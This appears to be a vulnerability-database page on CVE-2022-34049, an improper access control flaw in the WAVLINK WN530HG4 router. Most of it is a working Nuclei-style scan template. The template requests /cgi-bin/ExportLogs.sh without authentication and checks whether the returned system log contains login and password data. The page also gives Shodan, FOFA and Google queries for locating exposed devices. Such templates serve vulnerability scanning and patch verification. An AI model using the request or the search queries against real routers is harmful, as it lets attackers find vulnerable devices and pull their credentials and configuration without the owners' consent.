CVE-2022-34049: WAVLINK WN530HG4 - Improper Access Control

2025-08-01 WAVLINK WN530HG4 PoC Public

Description

Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-34049

info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: medium
  description: |
    Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings, potentially leading to further compromise of the network or device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049
    - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-34049
    cwe-id: CWE-552
    epss-score: 0.02697
    epss-percentile: 0.85166
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wn530hg4"
      - http.title:"wi-fi app login"
    fofa-query:
      - body="wn530hg4"
      - title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,router,exposure,vuln

http:
  - raw:
      - |
        GET /cgi-bin/ExportLogs.sh HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login'
          - 'Password'
        condition: and

      - type: word
        part: header
        words:
          - filename="sysLogs.txt"

      - type: status
        status:
          - 200
# digest: 490a0046304402200cf6397b735a6f94f67e8d15ff0bb278bb625b875cd94f9f64c0726b27f3f6190220251b927a6fb2ff06e3db38fa713dc0e0089a6f98e9b8be2a4cf54e689c890a94:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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